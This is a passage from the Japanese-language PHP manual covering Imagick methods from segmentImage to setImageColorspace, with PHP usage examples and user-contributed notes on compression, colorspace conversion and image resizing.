$im = new Imagick('example.jpg');
$im->scaleImage(0, 300);
?>

Similarly, this example scales the image to make it 300 pixels tall, and the method automatically recalculates the image's height to maintain the aspect ratio.
vincent dot hoen at gmail dot com 02-Aug-2007 06:37
Here is an easy way to resize an animated gif :

$picture = new Imagick('animated_gif.gif');

foreach($picture as $frame){
    $frame->scaleImage($width, $height);
}


画像を分割する

  • ≪ Imagick::scaleImage
  • Imagick::selectiveBlurImage ≫
  • PHP Manual
  • Imagick
  • 画像を分割する

Imagick::segmentImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::segmentImage — 画像を分割する

説明

public Imagick::segmentImage ( int $COLORSPACE , float $cluster_threshold , float $smooth_threshold , bool $verbose = false ) : bool

画像を解析し、似ている部分を特定します。このメソッドは、ImageMagick バージョン 6.4.5 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

COLORSPACE

COLORSPACE 定数 のいずれか。

cluster_threshold

有効と見なされるために必要な、 hexedra 内の最小ピクセル数を表すパーセンテージ。

smooth_threshold

ヒストグラムからノイズを除去する。

verbose

識別した区分についての詳細情報を出力するか否か。

返り値

例

例1 Imagick::segmentImage()

<?php
function segmentImage($imagePath, $colorSpace, $clusterThreshold, $smoothThreshold) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->segmentImage($colorSpace, $clusterThreshold, $smoothThreshold);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

segmentImage($imagePath, \Imagick::COLORSPACE_RGB, 5, 5);

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::segmentImage
  • Imagick::separateImageChannel ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::selectiveBlurImage

(PECL imagick 3 >= 3.3.0)

Imagick::selectiveBlurImage — Description

説明

public Imagick::selectiveBlurImage ( float $radius , float $sigma , float $threshold , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

Selectively blur an image within a contrast threshold. It is similar to the unsharpen mask that sharpens everything with contrast above a certain threshold.

パラメータ

radius

sigma

threshold

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

例

例1 Imagick::selectiveBlurImage()

<?php
function selectiveBlurImage($imagePath, $radius, $sigma, $threshold, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->selectiveBlurImage($radius, $sigma, $threshold, $channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像からチャネルを分離する

  • ≪ Imagick::selectiveBlurImage
  • Imagick::sepiaToneImage ≫
  • PHP Manual
  • Imagick
  • 画像からチャネルを分離する

Imagick::separateImageChannel

(PECL imagick 2, PECL imagick 3)

Imagick::separateImageChannel — 画像からチャネルを分離する

説明

public Imagick::separateImageChannel ( int $channel ) : bool

画像からチャネルを分離し、グレースケール画像を返します。 channel には、画像の各ピクセルの特定の色コンポーネントを指定します。

パラメータ

channel

どの「チャネル」を戻すか。RGB 以外の色空間の場合でも、定数 CHANNEL_RED、CHANNEL_GREEN、CHANNEL_BLUE を使って第1、第2、第3チャネルを指定できます。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::separateImageChannel()

<?php
function separateImageChannel($imagePath, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->separateimagechannel($channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

separateImageChannel($imagePath, \Imagick::CHANNEL_GREEN);

?>

User Contributed Notes

There are no user contributed notes for this page.


画像をセピア調にする

  • ≪ Imagick::separateImageChannel
  • Imagick::setBackgroundColor ≫
  • PHP Manual
  • Imagick
  • 画像をセピア調にする

Imagick::sepiaToneImage

(PECL imagick 2, PECL imagick 3)

Imagick::sepiaToneImage — 画像をセピア調にする

説明

public Imagick::sepiaToneImage ( float $threshold ) : bool

画像に特殊効果を施し、セピア調の写真のような画像にします。 threshold には 0 から QuantumRange までの値を指定し、 これがセピア調の効き具合を表します。threshold を 80 にすると、 とりあえずはそれなりの効き目になるでしょう。

パラメータ

threshold

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::sepiaToneImage()

<?php
function sepiaToneImage($imagePath, $sepia) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->sepiaToneImage($sepia);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトのデフォルト背景色を設定する

  • ≪ Imagick::sepiaToneImage
  • Imagick::setColorspace ≫
  • PHP Manual
  • Imagick
  • オブジェクトのデフォルト背景色を設定する

Imagick::setBackgroundColor

(PECL imagick 2, PECL imagick 3)

Imagick::setBackgroundColor — オブジェクトのデフォルト背景色を設定する

説明

public Imagick::setBackgroundColor ( mixed $background ) : bool

オブジェクトのデフォルト背景色を設定します。

パラメータ

background

返り値

成功した場合に true を返します。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列をパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

User Contributed Notes

eleg 28-Feb-2012 02:59
Be cautious and set bgcolor BEFORE importing a SVG with transparency!  :-/

<?php

$im = new Imagick();
$im->setBackgroundColor(new ImagickPixel('transparent'));

$im->readImage('carte_Alain2.svg');

$im->setImageFormat("png32");

header('Content-type: image/png');
echo $im;
?>


色空間を設定する

  • ≪ Imagick::setBackgroundColor
  • Imagick::setCompression ≫
  • PHP Manual
  • Imagick
  • 色空間を設定する

Imagick::setColorspace

(PECL imagick 3)

Imagick::setColorspace — 色空間を設定する

説明

public Imagick::setColorspace ( int $COLORSPACE ) : bool

オブジェクトのグローバル色空間の値を設定します。 このメソッドは、ImageMagick バージョン 6.5.7 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

COLORSPACE

COLORSPACE 定数 のひとつ。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

simonjjarrett at gmail dot com 26-Mar-2020 05:29
This method has to be called BEFORE any files are loaded into the Imagick object.

By default, Imagick will incorrectly read CMYK PDFs - it will read each channel as a greyscale page resulting in 4 times the number of pages. By specifying the desired colorspace (usually SRGB) before reading the file, GhostScript will automatically convert it.

<?php
$im = new Imagick();

// set the sampling resolution
$im->setResolution(200,200);

// set the desired format
$im->SetColorspace(Imagick::COLORSPACE_SRGB);

$im->readimage($file['tmp_name']);
?>
T 28-Dec-2014 09:20
Right now this function doesn't appear to do anything, ref: http://stackoverflow.com/q/10739822/2685496

As mentioned in the answer, modulateImage works fine as a replacement for converting to gray scale.

<?php

$image = new Imagick("input.jpg");

$image->modulateImage(100, 0, 100);

$image->writeImage("output.jpg");

$image->clear();

?>


オブジェクトのデフォルトの圧縮方式を設定する

  • ≪ Imagick::setColorspace
  • Imagick::setCompressionQuality ≫
  • PHP Manual
  • Imagick
  • オブジェクトのデフォルトの圧縮方式を設定する

Imagick::setCompression

(PECL imagick 2, PECL imagick 3)

Imagick::setCompression — オブジェクトのデフォルトの圧縮方式を設定する

説明

public Imagick::setCompression ( int $compression ) : bool

オブジェクトのデフォルトの圧縮方式を設定します。

パラメータ

compression

圧縮方式。Imagick::COMPRESSION_* 定数を参照ください。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトのデフォルトの圧縮品質を設定する

  • ≪ Imagick::setCompression
  • Imagick::setFilename ≫
  • PHP Manual
  • Imagick
  • オブジェクトのデフォルトの圧縮品質を設定する

Imagick::setCompressionQuality

(PECL imagick 2, PECL imagick 3)

Imagick::setCompressionQuality — オブジェクトのデフォルトの圧縮品質を設定する

説明

public Imagick::setCompressionQuality ( int $quality ) : bool

オブジェクトのデフォルトの圧縮品質を設定します。

警告

このメソッドは、たとえば Imagick::newPseudoImage などで作った新しい画像に対してだけ使えるものです。 既存の画像に対しては Imagick::setImageCompressionQuality() を使う必要があります。

パラメータ

quality

1 から 100 の間の int 1 = 高圧縮品質。 100 = 低圧縮品質。を表します。

返り値

成功した場合に true を返します。

例

例1 Imagick::setCompressionQuality()

<?php
function setCompressionQuality($imagePath, $quality) {

    $backgroundImagick = new \Imagick(realpath($imagePath));
    $imagick = new \Imagick();
    $imagick->setCompressionQuality($quality);
    $imagick->newPseudoImage(
        $backgroundImagick->getImageWidth(),
        $backgroundImagick->getImageHeight(),
        'canvas:white'
    );

    $imagick->compositeImage(
        $backgroundImagick,
        \Imagick::COMPOSITE_ATOP,
        0,
        0
    );

    $imagick->setFormat("jpg");
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

charles dot hall at sas dot com 03-Aug-2010 11:31
I had to insert a call to "stripImage()" in order to actually see the filesize shrink.

<?php
   $img = new Imagick();
   $img->readImage($src);
   $img->setImageCompression(imagick::COMPRESSION_JPEG);
   $img->setImageCompressionQuality(90);
   $img->stripImage();
   $img->writeImage($dest);
?>
deeps chennai 18-Mar-2010 02:59
A note for people who just couldn't get this working..

With PHP 5.1.6, the below works:

<?php
$img->setCompression(Imagick::COMPRESSION_JPEG);
$img->setCompressionQuality(80);
?>

However, with higher versions of PHP (I tried on PHP 5.2.10), the code has no effect (and there are no exceptions or warnings thrown by Imagick as well).

The code that works instead is:

<?php
$img->setImageCompression(Imagick::COMPRESSION_JPEG);
$img->setImageCompressionQuality(80);
?>

and this is backwards compatible (Works on PHP 5.1.6 as well as 5.2.10)
nVaux.com 26-Mar-2008 08:24
Sebastian's example works excellent, just one minor spelling mistake, it will give you an error otherwise.

<?php
$img->setCompression(Imagick::COMPRESSION_JPEG);
$img->setCompressionQuality(80);
?>

I used Sebastians example, and made one that compresses all the images within a directory:

<?php
$images = new Imagick(glob('images/*.jpg'));

foreach($images as $image)
{
    // compression methods, see "Contants"-page for Imagick
    $image->setCompression(imagick::COMPRESSION_JPEG);
    // a value between 1 and 100, 1 = high compression, 100 low compression
    $image->setCompressionQuality(80);
    $image->writeImage();
}

?>
sebastian dot moser at gmail dot com 17-Nov-2007 02:46
Use this example to see how image compression works:

<?php
// load an image
$img = new Imagick("test.jpg");

// compression methods, see "Contants"-page for Imagick
$img->setComression(Imagick::COMPRESSION_JPEG);
// a value between 1 and 100, 1 = high compression, 100 low compression
$img->setComressionQuality(80);

// set content type
header("Content-type: image/jpeg");
// write image
echo $img->getImageBlob();
?>


画像を読み書きする前にファイル名を設定する

  • ≪ Imagick::setCompressionQuality
  • Imagick::setFirstIterator ≫
  • PHP Manual
  • Imagick
  • 画像を読み書きする前にファイル名を設定する

Imagick::setFilename

(PECL imagick 2, PECL imagick 3)

Imagick::setFilename — 画像を読み書きする前にファイル名を設定する

説明

public Imagick::setFilename ( string $filename ) : bool

画像を読み書きする前にファイル名を設定します。

パラメータ

filename

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


Imagick イテレータを最初の画像に設定する

  • ≪ Imagick::setFilename
  • Imagick::setFont ≫
  • PHP Manual
  • Imagick
  • Imagick イテレータを最初の画像に設定する

Imagick::setFirstIterator

(PECL imagick 2, PECL imagick 3)

Imagick::setFirstIterator — Imagick イテレータを最初の画像に設定する

説明

public Imagick::setFirstIterator ( ) : bool

Imagick イテレータを最初の画像に設定します。

返り値

成功した場合に true を返します。

User Contributed Notes

simonjjarrett at gmail dot com 24-Mar-2020 01:03
The following function applies a callback to each image in an Imagick object.

<?php
function imagickMap($callback, $im)
{
    $im->setFirstIterator();

    do
    {
        $callback($im);
    }
    while ( $im->nextImage() );
}
?>

E.g. to convert a series of images to grayscale:

<?php
imagickMap(
    function($im)
    {
        $im->setImageType(Imagick::IMGTYPE_GRAYSCALEMATTE);
    },
    $im
);
?>


フォントを設定する

  • ≪ Imagick::setFirstIterator
  • Imagick::setFormat ≫
  • PHP Manual
  • Imagick
  • フォントを設定する

Imagick::setFont

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::setFont — フォントを設定する

説明

public Imagick::setFont ( string $font ) : bool

オブジェクトのフォントプロパティを設定します。 このメソッドは、たとえば caption: pseudo-format のフォントを設定したりする際に使用します。 フォントは、ImageMagick の設定で準備しておくか、あるいは font という名前のファイルが存在しなければなりません。 このメソッドを ImagickDraw::setFont() と混同してはいけません。 こちらは、ある特定の ImagickDraw オブジェクトのフォントを設定するメソッドです。 このメソッドは、ImageMagick バージョン 6.3.7 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

font

フォント名あるいはファイル名。

返り値

成功した場合に true を返します。

参考

  • Imagick::getFont() - フォントを取得する
  • ImagickDraw::setFont() - テキストによる注記を行う際に使用するフォントを設定する
  • ImagickDraw::getFont() - フォントを返す

例

例1 Imagick::setFont() の例

Imagick::setFont の使用例です。

<?php
/* 新しい imagick オブジェクトを作成します */
$im = new Imagick();

/* オブジェクトのフォントを設定します */
$im->setFont("example.ttf");

/* 新しいキャプションを作成します */
$im->newPseudoImage(100, 100, "caption:Hello");

/* 画像に対してなんらかの操作をします */
?>

User Contributed Notes

There are no user contributed notes for this page.


Imagick オブジェクトのフォーマットを設定する

  • ≪ Imagick::setFont
  • Imagick::setGravity ≫
  • PHP Manual
  • Imagick
  • Imagick オブジェクトのフォーマットを設定する

Imagick::setFormat

(PECL imagick 2, PECL imagick 3)

Imagick::setFormat — Imagick オブジェクトのフォーマットを設定する

説明

public Imagick::setFormat ( string $format ) : bool

Imagick オブジェクトのフォーマットを設定します。

パラメータ

format

返り値

成功した場合に true を返します。

User Contributed Notes

winmonaye at gmail dot com 21-Sep-2015 06:15
You can only set format listed in $imgic->queryFormats() .
It can be different from http://www.imagemagick.org/script/formats.php .
Meinaart 28-Nov-2012 12:56
For format see:
http://www.imagemagick.org/script/formats.php
scott at thebrain dot ca 14-Oct-2008 08:18
don't confuse this function with setImageFormat()


gravity を設定する

  • ≪ Imagick::setFormat
  • Imagick::setImage ≫
  • PHP Manual
  • Imagick
  • gravity を設定する

Imagick::setGravity

(PECL imagick 2 >= 2.2.0, PECL imagick 3)

Imagick::setGravity — gravity を設定する

説明

public Imagick::setGravity ( int $gravity ) : bool

Imagick オブジェクトのグローバル gravity プロパティを設定します。 このメソッドは、ImageMagick バージョン 6.4.0 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

gravity

gravity プロパティ。 gravity 定数 の一覧を参照ください。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクト内の画像を置き換える

  • ≪ Imagick::setGravity
  • Imagick::setImageAlphaChannel ≫
  • PHP Manual
  • Imagick
  • オブジェクト内の画像を置き換える

Imagick::setImage

(PECL imagick 2, PECL imagick 3)

Imagick::setImage — オブジェクト内の画像を置き換える

説明

public Imagick::setImage ( Imagick $replace ) : bool

現在の画像シーケンスを、replace で指定したオブジェクトの画像で置き換えます。

パラメータ

replace

置き換える Imagick オブジェクト。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::setImage() の例

Imagick::setImage() の使用例です。

<?php
/* オブジェクトを作成します */
$image = new Imagick('source.jpg');
$replace = new Imagick('replace.jpg');

/* source.jpg を replace.jpg で置き換えます */
$image->setImage($replace);

/* 画像を出力します */
header('Content-type: image/jpeg');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.


画像のアルファチャネルを設定する

  • ≪ Imagick::setImage
  • Imagick::setImageArtifact ≫
  • PHP Manual
  • Imagick
  • 画像のアルファチャネルを設定する

Imagick::setImageAlphaChannel

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::setImageAlphaChannel — 画像のアルファチャネルを設定する

説明

public Imagick::setImageAlphaChannel ( int $mode ) : bool

画像のアルファチャネルを有効あるいは無効にします。mode には Imagick::ALPHACHANNEL_* 定数のいずれかを設定します。 このメソッドは、ImageMagick バージョン 6.3.8 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

mode

Imagick::ALPHACHANNEL_* 定数のいずれか。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

参考

  • Imagick::setImageMatte() - 画像のマットチャネルを設定する
  • Imagick Alpha Channel 定数

User Contributed Notes

simonjjarrett at gmail dot com 25-Mar-2020 03:09
If you're having trouble with white backgrounds turning black when converting PDFs to other formats, you need to use this function with Imagick::ALPHACHANNEL_REMOVE as the parameter (this is not currently on the constants page, but it exists in PHP 7.2) to remove the alpha channel.

<?php
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_REMOVE );
?>


画像のアーチファクトを設定する

  • ≪ Imagick::setImageAlphaChannel
  • Imagick::setImageAttribute ≫
  • PHP Manual
  • Imagick
  • 画像のアーチファクトを設定する

Imagick::setImageArtifact

(PECL imagick 3)

Imagick::setImageArtifact — 画像のアーチファクトを設定する

説明

public Imagick::setImageArtifact ( string $artifact , string $value ) : bool

画像にアーチファクトを関連づけます。プロパティとアーチファクトの違いは、 プロパティは public であるのに対してアーチファクトは private であるという点です。 このメソッドは、ImageMagick バージョン 6.5.7 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

artifact

アーチファクトの名前。

value

アーチファクトの値。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

参考

  • Imagick::getImageArtifact() - 画像のアーチファクトを取得する
  • Imagick::deleteImageArtifact() - 画像のアーチファクトを削除する

例

例1 Imagick::setImageArtifact()

<?php
function setImageArtifact() {

    $src1 = new \Imagick(realpath("./images/artifact/source1.png"));
    $src2 = new \Imagick(realpath("./images/artifact/source2.png"));

    $src2->setImageVirtualPixelMethod(\Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);
    $src2->setImageArtifact('compose:args', "1,0,-0.5,0.5");
    $src1->compositeImage($src2, Imagick::COMPOSITE_MATHEMATICS, 0, 0);

    $src1->setImageFormat('png');
    header("Content-Type: image/png");
    echo $src1->getImagesBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::setImageArtifact
  • Imagick::setImageBackgroundColor ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::setImageAttribute

(PECL imagick 2, PECL imagick 3)

Imagick::setImageAttribute — Description

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::setImageAttribute ( string $key , string $value ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

key

value

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像の背景色を設定する

  • ≪ Imagick::setImageAttribute
  • Imagick::setImageBias ≫
  • PHP Manual
  • Imagick
  • 画像の背景色を設定する

Imagick::setImageBackgroundColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBackgroundColor — 画像の背景色を設定する

説明

public Imagick::setImageBackgroundColor ( mixed $background ) : bool

画像の背景色を設定します。

パラメータ

background

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列をパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

User Contributed Notes

mjunaidahmad at outlook dot com 28-Jul-2017 06:02
<?php

  $im = new \Imagick();

        /* read image (914x784) */

     $im->readImage($_SERVER['DOCUMENT_ROOT']."/path/toimage/".$inputfront);

        $im->setImageBackgroundColor(new \ImagickPixel('transparent')); /* this is equal to -background none (in imagemagick command options ) */

        /*Control points for the distortion in order to check weather setImageBackgound is working properly*/

        $controlPoints = array( 0,0,
            280,0,

            994,0,
            914,50,

            994,862,
            784,842,

            0,862,
            110,762);

        /* Perform the distortion */
        $im->distortImage(\Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

        /* Ouput the image */
        $output_front_distort="Projects/path/where you want to store image/distorted_book.png";

       header("Content-Type: image/png");
        $im->writeImage($_SERVER['DOCUMENT_ROOT']."/designerr/public/".$output_front_distort);

?>
Matthias Zartmann 17-Jun-2014 08:33
Small example to optimize a gray scanned image:
<?php
   $im = new Imagick();
   $im->readImage("~/scaninput_300DPI.tiff");
  //deskew the image
   $im->deskewImage(40);
  //Crop to A4 and scanner pageoffset 50
   $im->cropImage(2480, 3416, 50, 0);
  //Need a Monochrome Image
   $im->setImageColorspace(2);
   $im->thresholdImage(11000);
  //Compressen tiff CCITT Group 4
   $im->setImageCompression(Imagick::COMPRESSION_GROUP4);
   $im->writeimage("~/monochrome_300DPI.tiff");
  //Cleanup
   $im->clear();
   $im->destroy();
?>


画像を折りたたむ任意のメソッドについて画像のバイアスを設定する

  • ≪ Imagick::setImageBackgroundColor
  • Imagick::setImageBiasQuantum ≫
  • PHP Manual
  • Imagick
  • 画像を折りたたむ任意のメソッドについて画像のバイアスを設定する

Imagick::setImageBias

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBias — 画像を折りたたむ任意のメソッドについて画像のバイアスを設定する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::setImageBias ( float $bias ) : bool

画像を折りたたむ任意のメソッド (Imagick::ConvolveImage() など) について画像のバイアスを設定します。

パラメータ

bias

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::setImageBias()

<?php
//requires ImageMagick version 6.9.0-1 to have an effect on convolveImage
function setImageBias($bias) {
    $imagick = new \Imagick(realpath("images/stack.jpg"));

    $xKernel = array(
        -0.70, 0, 0.70,
        -0.70, 0, 0.70,
        -0.70, 0, 0.70
    );

    $imagick->setImageBias($bias * \Imagick::getQuantum());
    $imagick->convolveImage($xKernel, \Imagick::CHANNEL_ALL);

    $imagick->setImageFormat('png');

    header('Content-type: image/png');
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::setImageBias
  • Imagick::setImageBluePrimary ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::setImageBiasQuantum

(PECL imagick 3 >= 3.3.0)

Imagick::setImageBiasQuantum — Description

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::setImageBiasQuantum ( string $bias ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

bias

返り値

User Contributed Notes

There are no user contributed notes for this page.


青が一番強い点を設定する

  • ≪ Imagick::setImageBiasQuantum
  • Imagick::setImageBorderColor ≫
  • PHP Manual
  • Imagick
  • 青が一番強い点を設定する

Imagick::setImageBluePrimary

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBluePrimary — 青が一番強い点を設定する

説明

public Imagick::setImageBluePrimary ( float $x , float $y ) : bool

青が一番強い点を設定します。

パラメータ

x

y

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の前景色を設定する

  • ≪ Imagick::setImageBluePrimary
  • Imagick::setImageChannelDepth ≫
  • PHP Manual
  • Imagick
  • 画像の前景色を設定する

Imagick::setImageBorderColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBorderColor — 画像の前景色を設定する

説明

public Imagick::setImageBorderColor ( mixed $border ) : bool

画像の前景色を設定します。

パラメータ

border

前景色。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列をパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

User Contributed Notes

There are no user contributed notes for this page.


特定の画像チャネルの深度を設定する

  • ≪ Imagick::setImageBorderColor
  • Imagick::setImageClipMask ≫
  • PHP Manual
  • Imagick
  • 特定の画像チャネルの深度を設定する

Imagick::setImageChannelDepth

(PECL imagick 2, PECL imagick 3)

Imagick::setImageChannelDepth — 特定の画像チャネルの深度を設定する

説明

public Imagick::setImageChannelDepth ( int $channel , int $depth ) : bool

特定の画像チャネルの深度を設定します。

パラメータ

channel

depth

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のクリップマスクを設定する

  • ≪ Imagick::setImageChannelDepth
  • Imagick::setImageColormapColor ≫
  • PHP Manual
  • Imagick
  • 画像のクリップマスクを設定する

Imagick::setImageClipMask

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::setImageClipMask — 画像のクリップマスクを設定する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::setImageClipMask ( Imagick $clip_mask ) : bool

別の Imagick オブジェクトから画像のクリップマスクを設定します。 このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

clip_mask

クリップマスクを含む Imagick オブジェクト。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::setImageClipMask()

<?php
function setImageClipMask($imagePath) {
    $imagick = new \Imagick();
    $imagick->readImage(realpath($imagePath));

    $width = $imagick->getImageWidth();
    $height = $imagick->getImageHeight();

    $clipMask = new \Imagick();
    $clipMask->newPseudoImage(
        $width,
        $height,
        "canvas:transparent"
    );

    $draw = new \ImagickDraw();
    $draw->setFillColor('white');
    $draw->circle(
        $width / 2,
        $height / 2,
        ($width / 2) + ($width / 4),
        $height / 2
    );
    $clipMask->drawImage($draw);
    $imagick->setImageClipMask($clipMask);

    $imagick->negateImage(false);
    $imagick->setFormat("png");

    header("Content-Type: image/png");
    echo $imagick->getImagesBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


指定した色マップインデックスの色を設定する

  • ≪ Imagick::setImageClipMask
  • Imagick::setImageColorspace ≫
  • PHP Manual
  • Imagick
  • 指定した色マップインデックスの色を設定する

Imagick::setImageColormapColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageColormapColor — 指定した色マップインデックスの色を設定する

説明

public Imagick::setImageColormapColor ( int $index , ImagickPixel $color ) : bool

指定した色マップインデックスの色を設定します。

パラメータ

index

color

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の色空間を設定する

  • ≪ Imagick::setImageColormapColor
  • Imagick::setImageCompose ≫
  • PHP Manual
  • Imagick
  • 画像の色空間を設定する

Imagick::setImageColorspace

(PECL imagick 2, PECL imagick 3)

Imagick::setImageColorspace — 画像の色空間を設定する

説明

public Imagick::setImageColorspace ( int $colorspace ) : bool

画像の色空間を設定します。 このメソッドは、新しい画像を作るときに使うものです。 既存の画像の色空間を変更したい場合は、Imagick::transformImageColorspace() を使う必要があります。

パラメータ

colorspace

COLORSPACE 定数のいずれか。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

Cesare Bordi 05-Dec-2017 08:27
These are the basic steps to convert an image from RGB to CMYK:

$image = new Imagick();
$image->readImage(rgb.jpg);
$image->setImageColorSpace(Imagick::COLORSPACE_CMYK);
$image->profileImage('icc', file_get_contents(/path/CoatedFOGRA27.icc'));
$image->negateImage(FALSE, imagick::COLOR_CYAN);
$image->negateImage(FALSE, imagick::COLOR_MAGENTA);
$image->negateImage(FALSE, imagick::COLOR_YELLOW);
$image->negateImage(FALSE, imagick::COLOR_BLACK);
$image->writeImage(cmyk.rgb);
cesarebordi 05-Dec-2017 08:26
These are the basic steps to convert an image from RGB to CMYK:

$image = new Imagick();
$image->readImage(rgb.jpg);
$image->setImageColorSpace(Imagick::COLORSPACE_CMYK);
$image->profileImage('icc', file_get_contents(/path/CoatedFOGRA27.icc'));
$image->negateImage(FALSE, imagick::COLOR_CYAN);
$image->negateImage(FALSE, imagick::COLOR_MAGENTA);
$image->negateImage(FALSE, imagick::COLOR_YELLOW);
$image->negateImage(FALSE, imagick::COLOR_BLACK);
$image->writeImage(cmyk.rgb);

For more information:
http://www.cesarebordi.it/imagemagick-php-convertire-rgb-to-cmyk-web-developer/
pilot114 at bk dot ru 22-Jan-2015 01:58
Simlest way converting from CMYK to RGB:

<?php
if ($jpeg->getImageColorspace() == \Imagick::COLORSPACE_CMYK) {
    $jpeg->transformimagecolorspace(\Imagick::COLORSPACE_SRGB);
}
?>

It is pretty work in current stable Image Magick (6.9.0-4).
kevin.a.florida 15-Jun-2013 03:53
I have a better solution for solving inverted colors on php 5.3.x than posted.  All the other solutions I found darkens the image or messes with the colors.

See below (note: my imagick object is $jpeg)

$range = $jpeg->getQuantumRange();
            $php_vs_arr = preg_split("/\./", phpversion());
            $php_vs = $php_vs_arr[0] . '.' . $php_vs_arr[1];
            if ($jpeg->getImageColorspace() == Imagick::COLORSPACE_CMYK) {

                //make sure cmyk color-space is set correctly
                $jpeg->setImageColorspace(12);

                // then we add an RGB profile
                $icc_rgb = file_get_contents(FRAMEWORK_PATH . DS . 'color' . DS . 'AdobeRGB1998.icc');
                $jpeg->profileImage('icc', $icc_rgb);
                unset($icc_rgb);

                //set color space to rgb
                $jpeg->setImageColorspace(13);

                //fix gamma, hue, saturation, brightness
                if($php_vs < 5.3) {
                    //ADJUST GAMMA BY 20% for 5.2.x
                    $jpeg->levelImage(0, 2.0, $range['quantumRangeString']);
                } else {
                    //php 5.3 hack FOR INVERTED COLORS
                    $jpeg->negateImage(false, Imagick::CHANNEL_ALL);
                }

            }
            $jpeg->stripImage();
            //end convert to RGB=========================|
eth at ethaniel dot com 28-Feb-2012 06:15
When converting from CMYK to RGB using this function, the image can become inverted. To fix this, use a workaround (don't forget to download the .icc files online):

<?php
// don't use this (it inverts the image)
